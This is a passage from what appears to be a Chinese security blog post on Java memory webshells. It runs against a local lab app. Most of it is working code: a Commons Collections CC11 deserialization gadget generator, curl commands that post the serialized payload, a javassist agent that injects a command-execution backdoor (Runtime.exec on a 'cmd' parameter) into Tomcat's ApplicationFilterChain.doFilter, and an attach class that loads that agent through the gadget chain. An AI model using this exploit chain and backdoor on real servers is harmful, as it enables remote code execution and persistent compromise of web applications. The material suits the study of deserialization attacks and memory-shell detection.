import java.util.HashSet;
@SuppressWarnings("all")
public class CC11 {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes();
        byte[][] targetByteCodes = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);
        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");
        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);
        // 利用反射调用 templates 中的 newTransformer 方法
        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        // 我们要设置 HashSet 的 map 为我们的 HashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);
        // 在 invoke 之后,
        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.txt"));
            System.out.println("===");
//            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
            outputStream.writeObject(hashset);
            outputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static byte[] getBytes() throws IOException {
        InputStream inputStream = new FileInputStream(new File("E:\\notes\\Java\\project\\MemoryHorse\\target\\classes\\clown\\memoryhorse\\inject\\TomcatInject.class"));
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }
}

使用 curl 注入

curl "http://localhost:8080/demo_war_exploded/test" --data-binary "@E:\notes\Java\test\CCTest\cc11Step1.txt"

image-20240124105642653

第二次注入

image-20240124105854760

然后这里可以看到就已经成功执行了

image-20240124105826595

java 反序列化注入内存马,暂时就这样简单记录一下

# Agent 内存马

​ 真实情况下我们遇到的通常都是已经启动的业务,所以我们也就没法使用 permain 的方法来注入内存马。但是我们还是可以通过 agentmain 来注入内存马。在前面的 JavaAgent 使用中也可以看到,整个过程都有一步很核心的点,就是我们需要先通过 className.equals ("Main") 找到要修改的目标类。在上面的例子中我们寻找的都是这个 Main 类,而我们想要实现 Agent 内存马注入同样也是需要找到一个类,然而对这个类中的某个方法最好是能够满足下面两个要求

  1. 该方法一定会被执行
  2. 该方法修改不会影响正常的业务逻辑

​ 一定会执行首当其冲的就是 Java Web 的三大件了,这兄弟仨在正常的 web 项目中是肯定会调用到的,这里就用 filter 来做测试。Filter 中的 doFilter 函数会依次调用 Filter 链上的 Filter。同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response 这样一来传参的方式也有了。

这里首先将环境搭建起来

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

然后是控制层代码

@Controller
public class TestController{
    @ResponseBody
    @RequestMapping("/test")
    public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "Hello,World";
    }
}

然后这里因为依赖版本是 3.2.1、这里利用 cc11 的链子,payload 可以看上面注入内存马的,首先注册自定义的 ClassFileTransformer,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        System.out.println("agentmain start");
        inst.addTransformer(new SpringDoFilter(),true);
        // 获取所有已加载的类
        Class[] classes = inst.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    inst.retransformClasses(clas);
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
        System.out.println("agentmain end");
    }
}

然后自定义的 ClassFileTransformer 中,对 transform 拦截的类进行 if 判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改

public class SpringDoFilter implements ClassFileTransformer {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                               ""
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

然后将其打包,然后编写 attach 类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Attachm extends AbstractTranslet {
    static {
    try{
        java.lang.String path = "E:\\notes\\Java\\test\\Agent\\target\\Agent-1.0-SNAPSHOT.jar";
        java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
        java.net.URL url = toolsPath.toURI().toURL();
        java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
        Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
        Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
        java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
        java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
        System.out.println("Running JVM list ...");
        for(int i=0;i<list.size();i++){
            Object o = list.get(i);
            java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
            java.lang.String name = (java.lang.String) displayName.invoke(o,null);
            // 列出当前有哪些 JVM 进程在运行
            // 这里的 if 条件根据实际情况进行更改
            if (name.contains("clown.cctest.CcTestApplication")){
                // 获取对应进程的 pid 号
                java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                java.lang.String id = (java.lang.String) getId.invoke(o,null);
                System.out.println("id >>> " + id);
                java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                java.lang.Object vm = attach.invoke(o,new Object[]{id});
                java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                loadAgent.invoke(vm,new Object[]{path});
                java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                detach.invoke(vm,null);
                System.out.println("Agent.jar Inject Success !!");
                break;
            }
        }
    } catch (Exception e){
        e.printStackTrace();
    }
}
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

利用 cc11 将这个类的字节码注入,通过这个类来 Attach 我们的 agent.jar 文件

curl -v "http://localhost:8080/test" --data-binary "@E:\notes\Java\project\study_java\cc11.txt"

image-20240124163020547

如上图便是成功了

image-20240124163040247

# 最后

​ 一点碎碎念:本地部署的 blog 被我不小心删了,,,,难办,一直没法同步在线的 blog。重新再搭建一遍好麻烦的说,有点心累,就先这样放着吧,等开学了再重新部署。

参考链接:

  • https://javasec.org/javase/JavaAgent/
  • https://su18.org/post/memory-shell/
  • https://su18.org/post/irP0RsYK1/
  • https://xz.aliyun.com/t/7348
  • https://xz.aliyun.com/t/9450
  • http://wjlshare.com/archives/1541
  • https://www.jianshu.com/p/cbe1c3174d41